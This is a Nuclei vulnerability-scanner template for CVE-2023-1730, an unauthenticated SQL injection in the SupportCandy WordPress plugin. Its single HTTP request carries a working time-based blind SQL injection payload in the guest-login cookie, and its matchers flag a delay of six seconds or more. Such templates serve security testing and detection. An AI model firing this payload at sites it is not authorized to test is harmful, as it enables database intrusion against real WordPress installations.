nuclei-templates/http/cves/2023/CVE-2023-1730.yaml

46 lines
1.5 KiB
YAML

id: CVE-2023-1730
info:
name: SupportCandy < 3.1.5 - Unauthenticated SQL Injection
author: theamanrawat
severity: critical
description: |
The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.
remediation: Fixed in version 3.1.5
reference:
- https://wpscan.com/vulnerability/44b51a56-ff05-4d50-9327-fc9bab74d4b7
- https://wordpress.org/plugins/supportcandy/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1730
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1730
cwe-id: CWE-89
epss-score: 0.06484
epss-percentile: 0.92952
cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 1
vendor: supportcandy
product: supportcandy
framework: wordpress
tags: cve,cve2023,sqli,wpscan,wordpress,supportcandy,unauth
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "supportcandy")'
condition: and
# digest: 490a004630440220563feddf16a7eae9895f5338f4a4e3c90b08af613be3b0bfe473c9ba1ce7401a02206a91e0802c64ca35bf8b3dc6d3ab7711044fc5e223b77750c04a58e028eb5c4e:922c64590222798bb761d5b6d8e72950